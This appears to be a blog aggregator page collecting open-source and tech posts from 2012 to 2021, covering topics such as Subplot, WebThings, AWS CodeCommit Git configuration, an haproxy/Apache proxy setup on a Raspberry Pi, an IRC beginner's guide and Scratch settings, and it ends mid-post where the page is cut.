The release we made is the first time we're actively asking other people to try Subplot and see whether the concept is useful to them. Obviously we expect there to be plenty of sharp corners and there's a good amount of functionality yet to implement to make Subplot as useful as we want it to be, but if you find yourself looking at a project and thinking "How do I make sure this is acceptable to the stakeholders without first teaching them how to read my unit tests?" then Subplot may be the tool for you.

While Subplot can be used to produce test suites with functions written in Bash, Python, or Rust, the only language we're supporting as first-class in this release is Python. However I am personally most interested in the Rust opportunity as I see a lot of Rust programs very badly tested from the perspective of 'acceptance' as there is a tendency in Rust projects to focus on unit-type tests. If you are writing something in Rust and want to look at producing some high level acceptance criteria and yet still test in Rust, then please take a look at Subplot, particularly how we test subplotlib itself.

Issues, feature requests, and perhaps most relevantly, code patches, gratefully received. A desire to be actively involved in shaping the second goal of Subplot even more so.

by Daniel Silverstone at July 12, 2021 05:06 PM

December 03, 2020

Ben Francis

A New Future for the WebThings IoT Platform


Originally posted on Medium.

After four years of incubation at Mozilla, Krellian is proud to become the new commercial sponsor of WebThings, an open platform for monitoring and controlling devices over the web.

Today we are announcing the release of WebThings Gateway 1.0 and setting out a vision for the future of the WebThings project.

WebThings

WebThings is an open source implementation of emerging W3C Web of Things standards and consists of three main components:

Flying the Nest

Following a company restructuring in August, Mozilla was looking for a new home for the WebThings community to continue their work.

Having co-founded the project whilst working at Mozilla, I joined discussions with two of my former colleagues Michael Stegeman and David Bryant about spinning out WebThings as an independent open source project. We worked with Mozilla on an agreement to transition the project to a new community-run home at webthings.io, and have spent the last three months working together on that transition.

WebThings Gateway 1.0

Today marks the public release of WebThings Gateway 1.0 and the formal transition of the WebThings platform to its new home at webthings.io. Going forward, Krellian will be sponsoring the new WebThings website and replacement cloud infrastructure, to continue to provide automatic software updates and a secure remote access service for WebThings gateways around the world.

You can read more about the 1.0 release and the transition of existing gateways to the new infrastructure on the Mozilla Hacks blog.

Krellian & WebThings

Krellian’s mission is to “extend the World Wide Web into physical spaces to make our built environment smarter, safer and more sustainable.” WebThings provides an ideal open source platform, built on web standards, to help achieve that mission.

In the short term Krellian will be leveraging the WebThings Cloud remote access service as part of our new digital signage platform. In the longer term we plan to explore other enterprise use cases for the WebThings platform, to help make buildings smarter, safer and more sustainable.

These commercial applications of WebThings will help provide revenue streams to support the long term sustainability of the open source project and allow it to continue to develop and grow.

The WebThings Community

Krellian highly values the thriving community who have supported the WebThings project over the last four years. From hackers and makers to educators and hobbyists, the community have been pivotal in building, testing and promoting WebThings around the world.

Amongst their achievements is the translation of WebThings Gateway into 34 spoken languages, the creation of over a hundred gateway add-ons and the building of countless DIY projects in a dozen different programming languages. Community members have contributed their time and effort to help build and promote WebThings and support other members in using it in thousands of private smart homes around the world.

We intend to support the community to continue with their great work, and have put in place an open governance structure to distribute decision making and foster leadership amongst the global WebThings community.

Future Roadmap

The following are some ideas about where to take the platform next, but we’d also very much like to hear from the community about what they would like to see from the project going forward.

W3C Compliance

WebThings has been developed in parallel with, and has contributed to, the standardisation of the Web of Things at the W3C. Since the last release of WebThings Gateway in April, the W3C Thing Description specification has reached “recommendation” status and is now an international standard.

We’d like to work towards making WebThings compliant with this standard, as there are still a remaining number of differences between the W3C and Mozilla specifications. In order to fill in the gaps between Mozilla’s Web Thing API and the W3C’s Thing Description standard, we plan to continue to lead work on standardising the Web Thing Protocol as a concrete protocol for communicating with devices over the web.

Production Gateway OS

The main WebThings Gateway software image is currently built on top of the Raspbian Linux distribution. This served the project well for its initial target of DIY smart home users, using the popular Raspberry Pi single board computer.

As the platform matures, we would like to explore a more production-quality IoT operating system like Ubuntu Core or Balena OS on which to base the WebThings Gateway distribution.

This will have the following benefits:

  1. A smaller footprint, reducing the minimum system requirements for running the gateway
  2. Enabling the targeting of a wider range of hardware for consumer and enterprise use cases
  3. Better security, through containerisation and automatic software updates for the underlying operating system

WebThings Controller

There was previously a project to build controller software for WebThings, to run on a controller device such as a smart speaker or smart display. The initial prototype was built on Android Things, but was discontinued when Google locked down the Android Things platform to specific OEMs and introduced restrictions on how it could be used.

Krellian would like to explore new controller software built on our open source Krellian Kiosk web runtime, which could allow for touch and voice input. This software would be designed so that it could either run on the same device as the gateway software, or on a separate controller device.

WebThings App

A native WebThings mobile app could act as a general purpose Web of Things client. This could potentially:

  1. Help to streamline the setup process of a WebThings Gateway
  2. Act as a client for native web things which don’t need a gateway
  3. Help with the standardisation process by providing a user friendly reference implementation of a Web of Things client

WebThings Cloud

Finally, we would like to explore expanding the WebThings Cloud offering. This could include an online dashboard for monitoring and controlling devices across multiple premises, and cloud to cloud integrations with other IoT platforms and voice assistants.


We’re excited about this new chapter in the WebThings story, and look forward to working closely with the community on our vision of a connected world where technology is seamlessly woven into the spaces around us and improves the lives of those who use it.

You can find out more about WebThings at its new home of webthings.io, follow @WebThingsIO on Twitter and sign up for the email newsletter to keep up to date with all the latest news.

by tola at December 03, 2020 05:15 PM

November 19, 2020

Daniel Silverstone (Kinnison)

Withdrawing Gitano from support

Unfortunately, in Debian in particular, libgit2 is undergoing a transition which is blocked by gall. Despite having had over a month to deal with this, I've not managed to summon the tuits to update Gall to the new libgit2 which means, nominally, I ought to withdraw it from testing and possibly even from unstable given that I'm not really prepared to look after Gitano and friends in Debian any longer.

However, I'd love for Gitano to remain in Debian if it's useful to people. Gall isn't exactly a large piece of C code, and so probably won't be a huge job to do the port, I simply don't have the desire/energy to do it myself.

If someone wanted to do the work and provide a patch / "pull request" to me, then I'd happily take on the change and upload a new package, or if someone wanted to NMU the gall package in Debian I'll take the change they make and import it into upstream. I just don't have the energy to reload all that context and do the change myself.

If you want to do this, email me and let me know, so I can support you and take on the change when it's done. Otherwise I probably will go down the lines of requesting Gitano's removal from Debian in the next week or so.

by Daniel Silverstone at November 19, 2020 08:49 AM

March 12, 2020

Ben Francis

Introducing Krellian — Interactive Digital Signage

Orignally posted on Medium.

For the last six weeks I’ve been enrolled in YCombinator’s Startup School, working towards the launch of a new technology startup.

Today I’m excited to introduce Krellian, a software platform for interactive digital signage, built on web standards.

If you walk around any large town or city today you’ll notice that you’re surrounded by screens. Digital billboards, information kiosks, self-service kiosks, interactive exhibits, digital menus and departure boards.

A lot of those screens are running outdated consumer-grade operating systems and proprietary content runtimes. They’re unreliable, inefficient and insecure. How many times have you seen a digital billboard that’s gone dark, departure boards with a Windows error message on the screen or even ATMs with a blue screen of death?

With Krellian, I am building a software platform for interactive digital signage, built on web standards. A simple, reliable web-based operating system and a secure cloud service for monitoring, controlling and deploying content to connected displays over the internet.

Krellian’s products will build on everything I have learnt over the last decade working on Webian, Firefox OS and Mozilla WebThings. I believe the web technologies I’ve helped standardise around installable web apps and the Web of Things could have enormous potential if applied to the digital signage market.

For example, a purpose-built operating system for displaying modern web content, which can be remotely managed over the internet, could significantly reduce content creation costs and technician call-out fees.

I’m also delighted that Krellian has been accepted onto the High Potential Startups programme, powered by the North East Local Enterprise Partnership. Over the next six months we’ll be working together to better understand customer needs, bring products to market and ultimately grow the business to create more high-tech jobs in the North East of England.

Are you interested in providing in-person digital experiences to your customers? Perhaps you work in advertising, hospitality, healthcare, museums, travel, retail or entertainment? Or do you sell digital signage to your own customers? I’d love to hear more about your needs and the problems you are trying to solve.

Register your interest today at krellian.com and follow Krellian on Twitter and Facebook.

by tola at March 12, 2020 05:23 PM

November 13, 2019

Steve Engledow (stilvoid)

Maur - A minimal AUR helper

This post is about the Arch User Repository. If you’re not an Arch user, probably just move along ;)

There are lots of AUR helpers in existence already but, in the best traditions of open source, none of them work exactly how I want an AUR helper to work, so I created a new one.

Here it is: https://github.com/stilvoid/maur

maur (pronounced like “more”) is tiny. At the time of writing, it’s 49 lines of bash. It also has very few features.

Here is the list of features:

The “help” when installing a package is this, and nothing more:

If you think maur needs more features, use a different AUR helper.

If you find bugs, please submit an issue or, even better, a pull request.

Example usage

Searching the AUR

If you want to search for a package in the AUR, you can grep for it ;)

maur | grep maur

Installing a package

If you want to install a package, for example yay:

maur yay

Upgrading a package

Upgrade a package is the same as installing one. This will upgrade maur:

maur maur

by Steve Engledow at November 13, 2019 12:00 AM

February 12, 2019

Steve Engledow (stilvoid)

Using Git with AWS CodeCommit Across Multiple AWS Accounts

(Cross-posted from the AWS DevOps blog)

I use AWS CodeCommit to host all of my private Git repositories. My repositories are split across several AWS accounts for different purposes: personal projects, internal projects at work, and customer projects.

The CodeCommit documentation shows you how to configure and clone a repository from one place, but in this blog post I want to share how I manage my Git configuration across multiple AWS accounts.

Background

First, I have profiles configured for each of my AWS environments. I connect to some of them using IAM user credentials and others by using cross-account roles.

I intentionally do not have any credentials associated with the default profile. That way I must always be sure I have selected a profile before I run any AWS CLI commands.

Here’s an anonymized copy of my ~/.aws/config file:

[profile personal]
region = eu-west-1
aws_access_key_id = ABCDEFGHIJKLMNOPQRST
aws_secret_access_key = uvwxyz0123456789abcdefghijklmnopqrstuvwx

[profile work]
region = us-east-1
aws_access_key_id = ABCDEFGHIJKLMNOPQRST
aws_secret_access_key = uvwxyz0123456789abcdefghijklmnopqrstuvwx

[profile customer]
region = eu-west-2
source_profile = work
role_arn = arn:aws:iam::123456789012:role/CrossAccountPowerUser

If I am doing some work in one of those accounts, I run export AWS_PROFILE=work and use the AWS CLI as normal.

The problem

I use the Git credential helper so that the Git client works seamlessly with CodeCommit. However, because I use different profiles for different repositories, my use case is a little more complex than the average.

In general, to use the credential helper, all you need to do is place the following options into your ~/.gitconfig file, like this:

[credential]
    helper = !aws codecommit credential-helper $@
    UserHttpPath = true

I could make this work across accounts by setting the appropriate value for AWS_PROFILE before I use Git in a repository, but there is a much neater way to deal with this situation using a feature released in Git version 2.13, conditional includes.

A solution

First, I separate my work into different folders. My ~/code/ directory looks like this:

code
    personal
        repo1
        repo2
    work
        repo3
        repo4
    customer
        repo5
        repo6

Using this layout, each folder that is directly underneath the code folder has different requirements in terms of configuration for use with CodeCommit.

Solving this has two parts; first, I create a .gitconfig file in each of the three folder locations. The .gitconfig files contain any customization (specifically, configuration for the credential helper) that I want in place while I work on projects in those folders.

For example:

[user]
    # Use a custom email address
    email = sengledo@amazon.co.uk

[credential]
    # Note the use of the --profile switch
    helper = !aws --profile work codecommit credential-helper $@
    UseHttpPath = true

I also make sure to specify the AWS CLI profile to use in the .gitconfig file which means that, when I am working in the folder, I don’t need to set AWS_PROFILE before I run git push, etc.

Secondly, to make use of these folder-level .gitconfig files, I need to reference them in my global Git configuration at ~/.gitconfig

This is done through the includeIf section. For example:

[includeIf "gitdir:~/code/personal/"]
    path = ~/code/personal/.gitconfig

This example specifies that if I am working with a Git repository that is located anywhere under ~/code/personal/, Git should load additional configuration from ~/code/personal/.gitconfig. That additional file specifies the appropriate credential helper invocation with the corresponding AWS CLI profile selected as detailed earlier.

The contents of the new file are treated as if they are inserted into the main .gitconfig file at the location of the includeIf section. This means that the included configuration will only override any configuration specified earlier in the config.

by Steve Engledow at February 12, 2019 12:00 AM

June 07, 2018

Brett Parker (iDunno)

The Psion Gemini

So, I backed the Gemini and received my shiny new device just a few months after they said that it'd ship, not bad for an indiegogo project! Out of the box, I flashed it, using the non-approved linux flashing tool at that time, and failed to backup the parts that, err, I really didn't want blatted... So within hours I had a new phone that I, err, couldn't make calls on, which was marginally annoying. And the tech preview of Debian wasn't really worth it, as it was fairly much unusable (which was marginally upsetting, but hey) - after a few more hours / days of playing around I got the IMEI number back in to the Gemini and put back on the stock android image. I didn't at this point have working bluetooth or wifi, which was a bit of a pain too, turns out the mac addresses for those are also stored in the nvram (doh!), that's now mostly working through a bit of collaboration with another Gemini owner, my Gemini currently uses the mac addresses from his device... which I'll need to fix in the next month or so, else we'll have a mac address collision, probably.

Overall, it's not a bad machine, the keyboard isn't quite as good as I was hoping for, the phone functionality is not bad once you're on a call, but not great until you're on a call, and I certainly wouldn't use it to replace the Samsung Galaxy S7 Edge that I currently use as my full time phone. It is however really rather useful as a sysadmin tool when you don't want to be lugging a full laptop around with you, the keyboard is better than using the on screen keyboard on the phone, the ssh client is "good enough" to get to what I need, and the terminal font isn't bad. I look forward to seeing where it goes, I'm happy to have been an early backer, as I don't think I'd pay the current retail price for one.

by Brett Parker (iDunno@sommitrealweird.co.uk) at June 07, 2018 01:04 PM

February 21, 2018

MJ Ray

How hard can typing æ, ø and å be?

Petter Reinholdtsen: How hard can æ, ø and å be? comments on the rubbish state of till printers and their mishandling of foreign characters.

Last week, I was trying to type an email, on a tablet, in Dutch. The tablet was running something close to Android and I was using a Bluetooth keyboard, which seemed to be configured correctly for my location in England.

Dutch doesn’t even have many accents. I wanted an e acute (é). If you use the on screen keyboard, this is actually pretty easy, just press and hold e and slide to choose the accented one… but holding e on a Bluetooth keyboard? eeeeeeeeeee!

Some guides suggest Alt and e, then e. Apparently that works, but not on keyboards set to Great British… because, I guess, we don’t want any of that foreign muck since the Brexit vote, or something(!)

Even once you figure out that madness and switch the keyboard back to international, which also enables alt i, u, n and so on to do other accents, I can’t find grave, check, breve or several other accents. I managed to send the emails in Dutch but I’d struggle with various other languages.

Have I missed a trick or what are the Android developers thinking? Why isn’t there a Compose key by default? Is there any way to get one?

by mjr at February 21, 2018 04:14 PM

March 01, 2017

Brett Parker (iDunno)

Using the Mythic Beasts IPv4 -> IPv6 Proxy for Websites on a v6 only Pi and getting the right REMOTE_ADDR

So, more because I was intrigued than anything else, I've got a pi3 from Mythic Beasts, they're supplied with IPv6 only connectivity and the file storage is NFS over a private v4 network. The proxy will happily redirect requests to either http or https to the Pi, but this results (without turning on the Proxy Protocol) with getting remote addresses in your logs of the proxy servers, which is not entirely useful.

I've cheated a bit, because the turning on of ProxyProtocol for the hostedpi.com addresses is currently not exposed to customers (it's on the list!), to do it without access to Mythic's backends use your own domainname (I've also got https://pi3.sommitrealweird.co.uk/ mapped to this Pi).

So, first step first, we get our RPi and we make sure that we can login to it via ssh (I'm nearly always on a v6 connection anyways, so this was a simple case of sshing to the v6 address of the Pi). I then installed haproxy and apache2 on the Pi and went about configuring them, with apache2 I changed it to listen to localhost only and on ports 8080 and 4443, I hadn't at this point enabled the ssl module so, really, the change for 4443 didn't kick in. Here's my /etc/apache2/ports.conf file:

# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf

Listen [::1]:8080

<IfModule ssl_module>
       Listen [::1]:4443
</IfModule>

<IfModule mod_gnutls.c>
       Listen [::1]:4443
</IfModule>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

I then edited /etc/apache2/sites-available/000-default.conf to change the VirtualHost line to [::1]:8080.

So, with that in place, now we deploy haproxy infront of it, the basic /etc/haproxy/haproxy.cfg config is:

global
       log /dev/log    local0
       log /dev/log    local1 notice
       chroot /var/lib/haproxy
       stats socket /run/haproxy/admin.sock mode 660 level admin
       stats timeout 30s
       user haproxy
       group haproxy
       daemon

       # Default SSL material locations
       ca-base /etc/ssl/certs
       crt-base /etc/ssl/private

       # Default ciphers to use on SSL-enabled listening sockets.
       # For more information, see ciphers(1SSL). This list is from:
       #  https://hynek.me/articles/hardening-your-web-servers-ssl-ciphers/
       ssl-default-bind-ciphers ECDH+AESGCM:DH+AESGCM:ECDH+AES256:DH+AES256:ECDH+AES128:DH+AES:ECDH+3DES:DH+3DES:RSA+AESGCM:RSA+AES:RSA+3DES:!aNULL:!MD5:!DSS
       ssl-default-bind-options no-sslv3

defaults
       log     global
       mode    http
       option  httplog
       option  dontlognull
        timeout connect 5000
        timeout client  50000
        timeout server  50000
       errorfile 400 /etc/haproxy/errors/400.http
       errorfile 403 /etc/haproxy/errors/403.http
       errorfile 408 /etc/haproxy/errors/408.http
       errorfile 500 /etc/haproxy/errors/500.http
       errorfile 502 /etc/haproxy/errors/502.http
       errorfile 503 /etc/haproxy/errors/503.http
       errorfile 504 /etc/haproxy/errors/504.http

frontend any_http
        option httplog
        option forwardfor

        acl is_from_proxy src 2a00:1098:0:82:1000:3b:1:1 2a00:1098:0:80:1000:3b:1:1
        tcp-request connection expect-proxy layer4 if is_from_proxy

        bind :::80
        default_backend any_http

backend any_http
        server apache2 ::1:8080

Obviously after that you then do:

systemctl restart apache2
systemctl restart haproxy

Now you have a proxy protocol'd setup from the proxy servers, and you can still talk directly to the Pi over ipv6, you're not yet logging the right remote ips, but we're a step closer. Next enable mod_remoteip in apache2:

a2enmod remoteip

And add a file, /etc/apache2/conf-available/remoteip-logformats.conf containing:

LogFormat "%v:%p %a %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" remoteip_vhost_combined

And edit the /etc/apache2/sites-available/000-default.conf to change the CustomLog line to use remoteip_vhost_combined rather than combined as the LogFormat and add the relevant RemoteIP settings:

RemoteIPHeader X-Forwarded-For
RemoteIPTrustedProxy ::1

CustomLog ${APACHE_LOG_DIR}/access.log remoteip_vhost_combined

Now, enable the config and restart apache2:

a2enconf remoteip-logformats
systemctl restart apache2

Now you'll get the right remote ip in the logs (cool, huh!), and, better still, the environment that gets pushed through to cgi scripts/php/whatever is now also correct.

So, you can now happily visit http://www.<your-pi-name>.hostedpi.com/, e.g. http://www.srwpi.hostedpi.com/.

Next up, you'll want something like dehydrated - I grabbed the packaged version from debian's jessie-backports repository - so that you can make yourself some nice shiny SSL certificates (why wouldn't you, after all!), once you've got dehydrated installed, you'll probably want to tweak it a bit, I have some magic extra files that I use, I also suggest getting the dehydrated-apache2 package, which just makes it all much easier too.

/etc/dehydrated/conf.d/mail.sh:

CONTACT_EMAIL="my@email.address"

/etc/dehydrated/conf.d/domainconfig.sh:

DOMAINS_D="/etc/dehydrated/domains.d"

/etc/dehydrated/domains.d/srwpi.hostedpi.com:

HOOK="/etc/dehydrated/hooks/srwpi"

/etc/dehydrated/hooks/srwpi:

#!/bin/sh
action="$1"
domain="$2"

case $action in
  deploy_cert)
    privkey="$3"
    cert="$4"
    fullchain="$5"
    chain="$6"
    cat "$privkey" "$fullchain" > /etc/ssl/private/srwpi.pem
    chmod 640 /etc/ssl/private/srwpi.pem
    ;;
  *)
    ;;
esac

/etc/dehydrated/hooks/srwpi has the execute bit set (chmod +x /etc/dehydrated/hooks/srwpi), and is really only there so that the certificate can be used easily in haproxy.

And finally the file /etc/dehydrated/domains.txt:

www.srwpi.hostedpi.com srwpi.hostedpi.com

Obviously, use your own pi name in there, or better yet, one of your own domain names that you've mapped to the proxies.

Run dehydrated in cron mode (it's noisy, but meh...):

dehydrated -c

That s then generated you some shiny certificates (hopefully). For now, I'll just tell you how to do it through the /etc/apache2/sites-available/default-ssl.conf file, just edit that file and change the SSLCertificateFile and SSLCertificateKeyFile to point to /var/lib/dehydrated/certs/www.srwpi.hostedpi.com/fullchain.pem and /var/llib/dehydrated/certs/ww.srwpi.hostedpi.com/privkey.pem files, do the edit for the CustomLog as you did for the other default site, and change the VirtualHost to be [::1]:443 and enable the site:

a2ensite default-ssl
a2enmod ssl

And restart apache2:

systemctl restart apache2

Now time to add some bits to haproxy.cfg, usefully this is only a tiny tiny bit of extra config:

frontend any_https
        option httplog
        option forwardfor

        acl is_from_proxy src 2a00:1098:0:82:1000:3b:1:1 2a00:1098:0:80:1000:3b:1:1
        tcp-request connection expect-proxy layer4 if is_from_proxy

        bind :::443 ssl crt /etc/ssl/private/srwpi.pem

        default_backend any_https

backend any_https
        server apache2 ::1:4443 ssl ca-file /etc/ssl/certs/ca-certificates.crt

Restart haproxy:

systemctl restart haproxy

And we're all done! REMOTE_ADDR will appear as the correct remote address in the logs, and in the environment.

by Brett Parker (iDunno@sommitrealweird.co.uk) at March 01, 2017 06:35 PM

October 18, 2016

MJ Ray

Rinse and repeat

Forgive me, reader, for I have sinned. It has been over a year since my last blog post. Life got busy. Paid work. Another round of challenges managing my chronic illness. Cycle campaigning. Fun bike rides. Friends. Family. Travels. Other social media to stroke. I’m still reading some of the planets where this blog post should appear and commenting on some, so I’ve not felt completely cut off, but I am surprised how many people don’t allow comments on their blogs any more (or make it too difficult for me with reCaptcha and the like).

The main motive for this post is to test some minor upgrades, though. Hi everyone. How’s it going with you? I’ll probably keep posting short updates in the future.

Go in peace to love and serve the web. 🙂

by mjr at October 18, 2016 04:28 AM

July 10, 2014

James Taylor

SSL / TLS

Is it annoying or not that everyone says SSL Certs and SSL when they really mean TLS?

Does anyone actually mean SSL? Have there been any accidents through people confusing the two?


July 10, 2014 02:09 PM

Cloud Computing Deployments … Revisited.

So its been a few years since I’ve posted, because its been so much hard work, and we’ve been pushing really hard on some projects which I just can’t talk about – annoyingly. Anyways, March 20th , 2011 I talked about Continual Integration and Continual Deployment and the Cloud and discussed two main methods – having what we now call ‘Gold Standards’ vs continually updating.

The interesting thing is that as we’ve grown as a company, and as we’ve become more ‘Enterprise’, we’ve brought in more systems administrators and begun to really separate the deployments from the development. The other thing is we have separated our services out into multiple vertical strands, which have different roles. This means we have slightly different processes for Banking or Payment based modules then we do from marketing modules. We’re able to segregate operational and content from personally identifiable information – PII having much higher regulation on who can (and auditing of who does) access.

Several other key things had to change: for instance, things like SSL keys of the servers shouldn’t be kept in the development repo. Now, of course not, I hear you yell, but its a very blurry line. For instance, should the Django configuration be kept in the repo? Well, yes, because that defines the modules and things like URLs. Should the nginx config be kept in the repo? Well, oh. if you keep *that* in then you would keep your SSL certs in…

So the answer becomes having lots of repo’s. One repo per application (django wise), and one repo per deployment containing configurations. And then you start looking at build tools to bring, for a particular server or cluster of servers up and running.

The process (for our more secure, audited services) is looking like a tool to bring an AMI up, get everything installed and configured, and then take a snapshot, and then a second tool that takes that AMI (and all the others needed) and builds the VPC inside of AWS. Its a step away from the continual deployment strategy, but it is mostly automated.


July 10, 2014 02:09 PM

June 12, 2014

Paul Tansom

Beginning irc

After some discussion last night at PHP Hants about the fact that irc is a great facilitator of support / discussion, but largely ignored because there is rarely enough information for a new user to get going I decided it may be worth putting together a howto type post so here goes…

What is irc?

First of all, what on earth is it? I’m tempted to describe it as Twitter done right years before Twitter even existed, but I’m a geek and I’ve been using irc for years. It has a long heritage, but unlike the ubiquitous email it hasn’t made the transition into mainstream use. In terms of usage it has similarities to things like Twitter and Instant Messaging. Let’s take a quick look at this.

Twitter allows you to broadcast messages, they get published and anyone who is subscribed to your feed can read what you say. Everything is pretty instant, and if somebody is watching the screen at the right time they can respond straight away. Instant Messaging on the other hand, is more of a direct conversation with a single person, or sometimes a group of people, but it too is pretty instantaneous – assuming, of course, that there’s someone reading what you’ve said. Both of these techonologies are pretty familiar to many. If you go to the appropriate website you are given the opportunity to sign up and either use a web based client or download one.

It is much the same for irc in terms of usage, although conversations are grouped into channels which generally focus on a particular topic rather than being generally broadcast (Twitter) or more specifically directed (Instant Messaging). The downside is that in most cases you don’t get a web page with clear instructions of how to sign up, download a client and find where the best place is to join the conversation.

Getting started

There are two things you need to get going with irc, a client and somewhere to connect to. Let’s put that into a more familiar context.

The client is what you use to connect with; this can be an application – so as an example Outlook or Thunderbird would be a mail client, or IE, Firefox, Chrome or Safari are examples of clients for web pages – or it can be a web page that does the same thing – so if you go to twitter.com and login you are using the web page as your Twitter client. Somewhere to connect to can be compared to a web address, or if you’ve got close enough to the configuration of your email to see the details, your mail server address.

Let’s start with the ‘somewhere to connect to‘ bit. Freenode is one of the most popular irc servers, so let’s take a look. First we’ll see what we can find out from their website, http://freenode.net/.

freenode

There’s a lot of very daunting information there for somebody new to irc, so ignore most of it and follow the Webchat link on the left.

webchat

That’s all very well and good, but what do we put in there? I guess the screenshot above gives a clue, but if you actually visit the page the entry boxes will be blank. Well first off there’s the Nickname, this can be pretty much anything you like, no need to register it – stick to the basics of letters, numbers and some simple punctuation (if you want to), keep it short and so long as nobody else is already using it you should be fine; if it doesn’t work try another. Channels is the awkward one, how do you know what channels there are? If you’re lucky you’re looking into this because you’ve been told there’s a channel there and hopefully you’ve been given the channel name. For now let’s just use the PHP Hants channel, so that would be #phph in the Channels box. Now all you need to do is type in the captcha, ignore the tick boxes and click Connect and you are on the irc channel and ready to chat. Down the right you’ll see a list of who else is there, and in the main window there will be a bit of introductory information (e.g. topic for the channel) and depending on how busy it is anything from nothing to a fast scrolling screen of text.

phph

If you’ve miss typed there’s a chance you’ll end up in a channel specially created for you because it didn’t exist; don’t worry, just quit and try again (I’ll explain that process shortly).

For now all you really need to worry about is typing in text an posting it, this is as simple as typing it into the entry box at the bottom of the page and pressing return. Be polite, be patient and you’ll be fine. There are plenty of commands that you can use to do things, but for now the only one you need to worry about is the one to leave, this is:

/quit

Type it in the entry box, press return and you’ve disconnected from the server. The next thing to look into is using a client program since this is far more flexible, but I’ll save that for another post.

The post Beginning irc appeared first on Linuxlore.

by Paul Tansom at June 12, 2014 04:27 PM

January 01, 2014

John Woodard

A year in Prog!


It's New Year's Day 2014 and I'm reflecting on the music of past year.

Album wise there were several okay...ish releases in the world of Progressive Rock. Steven Wilson's The Raven That Refused To Sing not the absolute masterpiece some have eulogised a solid effort though but it did contain some filler. Motorpsyco entertained with Still Life With Eggplant not as good as their previous album but again a solid effort. Magenta as ever didn't disappoint with The 27 Club, wishing Tina Booth a swift recovery from her ill health.

The Three stand out albums in no particular order for me were Edison's Children's Final Breath Before November which almost made it as album of the year and Big Big Train with English Electric Full Power which combined last years Part One and this years Part Two with some extra goodies to make the whole greater than the sum of the parts. Also Adrian Jones of Nine Stones Close fame pulled one out of the bag with his side Project Jet Black Sea which was very different and a challenging listen, hard going at first but surprisingly very good. This man is one superb guitarist especially if you like emotion wrung out of the instrument like David Gilmore or Steve Rothery.

The moniker of Album of the Year this year goes to Fish for the incredible Feast of Consequences. A real return to form and his best work since Raingods With Zippos. The packaging of the deluxe edition with a splendid book featuring the wonderful artwork of Mark Wilkinson was superb. A real treat with a very thought provoking suite about the first world war really hammed home the saying "Lest we forget". A fine piece that needs to be heard every November 11th.


Gig wise again Fish at the Junction in Cambridge was great. His voice may not be what it was in 1985 but he is the consummate performer, very at home on the stage. As a raconteur between songs he is as every bit as entertaining as he is singing songs themselves.

The March Marillion Convention in Port Zealand, Holland where they performed their masterpiece Brave was very special as every performance of incredible album is. The Marillion Conventions are always special but Brave made this one even more special than it would normally be.
Gig of the year goes again to Marillion at Aylesbury Friars in November. I had waited thirty years and forty odd shows to see them perform Garden Party segued into Market Square Heroes that glorious night it came to pass, I'm am now one very happy Progger or should that be Proggie? Nevermind Viva Progressive Rock!

by BigJohn (aka hexpek) (noreply@blogger.com) at January 01, 2014 07:56 PM

December 01, 2013

Paul Tansom

Scratch in a network environment

I have been running a Code Club at my local Primary School for a while now, and thought it was about time I put details of a few tweaks I’ve made to the default Scratch install to make things easier. So here goes:

With the default install of Scratch (on Windows) projects are saved to the C: drive. For a network environment, with pupils work stored on a network drive so they always have access whichever machine they sit at, this isn’t exactly helpful. It also isn’t ideal that they can explore the C: drive in spite of profile restrictions (although it isn’t the end of the world as there is little they can do from Scratch).

save-orig

After a bit of time with Google I found the answer, and since it didn’t immediately leap out at me when I was searching I thought I’d post it here (perhaps my Google Fu was weak that day). It is actually quite simple, especially for the average Code Club volunteer I should imagine; just edit the scratch.ini file. This is, as would be expected, located in:

C:\Program Files\Scratch\Scratch.ini

Initially it looks like this:

ini-orig

Pretty standard stuff, but unfortunately no comments to indicate what else you can do with it. As it happens you can add the following two lines (for example):

Home=U:
VisibleDrives=U:

To get this:

ini-new

They do exactly what is says on the tin. If you click on the Home button in a file dialogue box then you only get the drive(s) specified. You can also put a full path in if you want to put the home directory further down the directory structure.

save-new1

The VisibleDrives option restricts what you can see if you click on the Computer button in a file dialogue box. If you want to allow more visible drives then separate them with a comma.

save-new2

You can do the same with a Mac (for the home drive), just use the appropriate directory format (i.e. no drive letter and the opposite direction slash).

There is more that you can do, so take a look at the Scratch documentation here. For example if you use a * in the directory path it is replaced by the name of the currently logged on user.

Depending on your network environment it may be handy for your Code Club to put the extra resources on a shared network drive and open up an extra drive in the VisibleDrives. One I haven’t tried yet it is the proxy setting, which I hope will allow me to upload projects to the Scratch website. It goes something like:

ProxyServer=[server name or IP address]
ProxyPort=[port number]

The post Scratch in a network environment appeared first on Linuxlore.

by Paul Tansom at December 01, 2013 07:00 PM

January 16, 2013

John Woodard

LinuxMint 14 Add Printer Issue


 LinuxMint 14 Add Printer Issue



 

I wanted to print from my LinuxMint 14 (Cinnamon) PC via a shared Windows printer on my network. Problem is it isn’t found by the printers dialog in system settings. I thought I’d done all the normal things to get samba to play nice like rearranging the name resolve order in /etc/samba/smb.conf to a more sane bcast host lmhosts wins. Having host and wins, neither of which I’m using first in the order cocks things up some what. Every time I tried to search for the printer in the system setting dialog it told me “FirewallD is not running. Network printer detection needs services mdns, ipp, ipp-client and samba-client enabled on firewall.” So much scratching of the head there then, because as far as I can tell there ain’t no daemon by that name available!

It turns out thanks to /pseudomorph this has been a bug since LinuxMint12 (based on Ubuntu 11.10). It’s due to that particular daemon (Windows people daemon pretty much = service) being Fedora specific and should have no place in a Debian/Ubuntu based distribution. Bugs of this nature really should be ironed out sooner.

Anyway the simple fix is to use the more traditional approach using the older printer dialog which is accessed by inputting system-config-printer at the command line. Which works just fine so why the new (over a year old) printer config dialog that is inherently broken I ask myself.

The CUPS web interface also works apparently http://localhost:631/ in your favourite browser which should be there as long as CUPS is installed which it is in LinuxMint by default.

So come on Minty people get your bug squashing boots on and stamp on this one please.

Update

Bug #871985 only affects Gnome3 so as long as its not affecting Unity that will be okay Canonical will it!

by BigJohn (aka hexpek) (noreply@blogger.com) at January 16, 2013 12:39 AM

August 20, 2012

David Reynolds

On Music

Lately, (well I say lately, I think it’s been the same for a few years now) I have been finding that it is very rare that an album comes along that affects me in a way that music I heard 10 years ago seem to. That is not to say that I have not heard any music that I like in that time, it just doesn’t seem to mean as music that has been in my life for years. What I am trying to work out is if that is a reflection on the state of music, of how I experience music or just me.

Buying

